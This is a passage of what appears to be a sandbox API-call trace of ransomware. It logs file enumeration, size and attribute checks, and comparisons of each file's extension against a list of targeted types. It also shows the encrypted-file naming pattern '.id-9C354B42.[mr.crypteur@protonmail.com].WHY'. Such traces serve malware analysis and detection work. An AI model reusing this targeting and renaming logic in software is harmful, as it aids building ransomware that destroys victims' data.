(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0223.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0223.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.062] lstrlenW (lpString=".doc") returned 4 [0223.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.062] lstrlenW (lpString=".docx") returned 5 [0223.062] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0223.062] lstrlenW (lpString=".pdf") returned 4 [0223.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.063] lstrlenW (lpString=".xls") returned 4 [0223.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.063] lstrlenW (lpString=".xlsx") returned 5 [0223.063] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0223.063] lstrlenW (lpString=".ppt") returned 4 [0223.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.063] lstrlenW (lpString=".zip") returned 4 [0223.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.063] lstrlenW (lpString=".rar") returned 4 [0223.063] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.063] lstrlenW (lpString=".bz2") returned 4 [0223.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.064] lstrlenW (lpString=".7z") returned 3 [0223.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.064] lstrlenW (lpString=".dbf") returned 4 [0223.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.064] lstrlenW (lpString=".1cd") returned 4 [0223.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.064] lstrlenW (lpString=".jpg") returned 4 [0223.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.065] lstrlenW (lpString=".doc") returned 4 [0223.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.065] lstrlenW (lpString=".docx") returned 5 [0223.065] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0223.065] lstrlenW (lpString=".pdf") returned 4 [0223.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.065] lstrlenW (lpString=".xls") returned 4 [0223.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.065] lstrlenW (lpString=".xlsx") returned 5 [0223.066] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0223.066] lstrlenW (lpString=".ppt") returned 4 [0223.066] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.066] lstrlenW (lpString=".zip") returned 4 [0223.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.066] lstrlenW (lpString=".rar") returned 4 [0223.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.066] lstrlenW (lpString=".bz2") returned 4 [0223.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.066] lstrlenW (lpString=".7z") returned 3 [0223.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.067] lstrlenW (lpString=".dbf") returned 4 [0223.067] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.067] lstrlenW (lpString=".1cd") returned 4 [0223.067] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0223.067] lstrlenW (lpString=".jpg") returned 4 [0223.067] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.068] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0223.068] lstrlenW (lpString="ipsrus.xml") returned 10 [0223.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0225.424] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2542) returned 1 [0225.424] CloseHandle (hObject=0x2d0) returned 1 [0225.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0225.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.425] lstrlenW (lpString=".doc") returned 4 [0225.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.425] lstrlenW (lpString=".docx") returned 5 [0225.425] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0225.425] lstrlenW (lpString=".pdf") returned 4 [0225.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.425] lstrlenW (lpString=".xls") returned 4 [0225.425] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.426] lstrlenW (lpString=".xlsx") returned 5 [0225.426] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0225.426] lstrlenW (lpString=".ppt") returned 4 [0225.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.426] lstrlenW (lpString=".zip") returned 4 [0225.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.426] lstrlenW (lpString=".rar") returned 4 [0225.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.426] lstrlenW (lpString=".bz2") returned 4 [0225.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.426] lstrlenW (lpString=".7z") returned 3 [0225.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.427] lstrlenW (lpString=".dbf") returned 4 [0225.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.427] lstrlenW (lpString=".1cd") returned 4 [0225.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.427] lstrlenW (lpString=".jpg") returned 4 [0225.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.428] lstrlenW (lpString=".doc") returned 4 [0225.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.428] lstrlenW (lpString=".docx") returned 5 [0225.428] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0225.428] lstrlenW (lpString=".pdf") returned 4 [0225.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.428] lstrlenW (lpString=".xls") returned 4 [0225.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.428] lstrlenW (lpString=".xlsx") returned 5 [0225.428] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0225.428] lstrlenW (lpString=".ppt") returned 4 [0225.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.428] lstrlenW (lpString=".zip") returned 4 [0225.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.429] lstrlenW (lpString=".rar") returned 4 [0225.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.429] lstrlenW (lpString=".bz2") returned 4 [0225.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.429] lstrlenW (lpString=".7z") returned 3 [0225.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.429] lstrlenW (lpString=".dbf") returned 4 [0225.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.430] lstrlenW (lpString=".1cd") returned 4 [0225.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0225.430] lstrlenW (lpString=".jpg") returned 4 [0225.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.431] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0225.431] lstrlenW (lpString="SETUP.CHM") returned 9 [0225.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.894] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=67190) returned 1 [0225.894] CloseHandle (hObject=0x320) returned 1 [0225.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0225.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.895] lstrlenW (lpString=".doc") returned 4 [0225.895] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.895] lstrlenW (lpString=".docx") returned 5 [0225.895] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0225.895] lstrlenW (lpString=".pdf") returned 4 [0225.895] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.895] lstrlenW (lpString=".xls") returned 4 [0225.896] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.896] lstrlenW (lpString=".xlsx") returned 5 [0225.896] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0225.896] lstrlenW (lpString=".ppt") returned 4 [0225.896] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.896] lstrlenW (lpString=".zip") returned 4 [0225.896] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.896] lstrlenW (lpString=".rar") returned 4 [0225.896] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.896] lstrlenW (lpString=".bz2") returned 4 [0225.896] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.896] lstrlenW (lpString=".7z") returned 3 [0225.896] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.897] lstrlenW (lpString=".dbf") returned 4 [0225.897] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.897] lstrlenW (lpString=".1cd") returned 4 [0225.897] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.897] lstrlenW (lpString=".jpg") returned 4 [0225.898] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.898] lstrlenW (lpString=".doc") returned 4 [0225.898] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.898] lstrlenW (lpString=".docx") returned 5 [0225.899] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0225.899] lstrlenW (lpString=".pdf") returned 4 [0225.899] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.899] lstrlenW (lpString=".xls") returned 4 [0225.899] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.899] lstrlenW (lpString=".xlsx") returned 5 [0225.899] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0225.899] lstrlenW (lpString=".ppt") returned 4 [0225.899] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.899] lstrlenW (lpString=".zip") returned 4 [0225.899] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.899] lstrlenW (lpString=".rar") returned 4 [0225.899] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.900] lstrlenW (lpString=".bz2") returned 4 [0225.900] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.900] lstrlenW (lpString=".7z") returned 3 [0225.900] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.900] lstrlenW (lpString=".dbf") returned 4 [0225.900] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.900] lstrlenW (lpString=".1cd") returned 4 [0225.900] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0225.900] lstrlenW (lpString=".jpg") returned 4 [0225.900] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0225.901] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.901] lstrlenW (lpString="Office32WW.XML") returned 14 [0225.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.902] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=4274) returned 1 [0225.902] CloseHandle (hObject=0x320) returned 1 [0225.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0225.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.903] lstrlenW (lpString=".doc") returned 4 [0225.903] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.903] lstrlenW (lpString=".docx") returned 5 [0225.903] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0225.903] lstrlenW (lpString=".pdf") returned 4 [0225.903] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.903] lstrlenW (lpString=".xls") returned 4 [0225.903] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.903] lstrlenW (lpString=".xlsx") returned 5 [0225.903] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0225.903] lstrlenW (lpString=".ppt") returned 4 [0225.903] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.903] lstrlenW (lpString=".zip") returned 4 [0225.904] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.904] lstrlenW (lpString=".rar") returned 4 [0225.904] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.904] lstrlenW (lpString=".bz2") returned 4 [0225.904] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.904] lstrlenW (lpString=".7z") returned 3 [0225.904] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.904] lstrlenW (lpString=".dbf") returned 4 [0225.904] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.904] lstrlenW (lpString=".1cd") returned 4 [0225.904] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.905] lstrlenW (lpString=".jpg") returned 4 [0225.905] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.905] lstrlenW (lpString=".doc") returned 4 [0225.905] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.905] lstrlenW (lpString=".docx") returned 5 [0225.905] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0225.905] lstrlenW (lpString=".pdf") returned 4 [0225.905] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.905] lstrlenW (lpString=".xls") returned 4 [0225.905] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.906] lstrlenW (lpString=".xlsx") returned 5 [0225.906] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0225.906] lstrlenW (lpString=".ppt") returned 4 [0225.906] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0225.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.906] lstrlenW (lpString=".zip") returned 4 [0225.906] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0225.906] lstrlenW (lpString=".rar") returned 4 [0225.906] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0225.906] lstrlenW (lpString=".bz2") returned 4 [0225.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0225.906] lstrlenW (lpString=".7z") returned 3 [0225.906] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0225.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.907] lstrlenW (lpString=".dbf") returned 4 [0225.907] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0225.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.907] lstrlenW (lpString=".1cd") returned 4 [0225.907] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0225.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0225.907] lstrlenW (lpString=".jpg") returned 4 [0225.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0225.907] lstrcmpiW (lpString1=".XML", lpString2=".WHY") returned 1 [0225.908] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0225.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.908] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=1606) returned 1 [0225.908] CloseHandle (hObject=0x320) returned 1 [0225.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0225.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0225.909] lstrlenW (lpString=".doc") returned 4 [0225.909] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0225.909] lstrlenW (lpString=".docx") returned 5 [0225.909] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0225.909] lstrlenW (lpString=".pdf") returned 4 [0225.910] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0225.910] lstrlenW (lpString=".xls") returned 4 [0225.910] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0225.910] lstrlenW (lpString=".xlsx") returned 5 [0225.910] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0225.910] lstrlenW (lpString=".ppt") returned 4 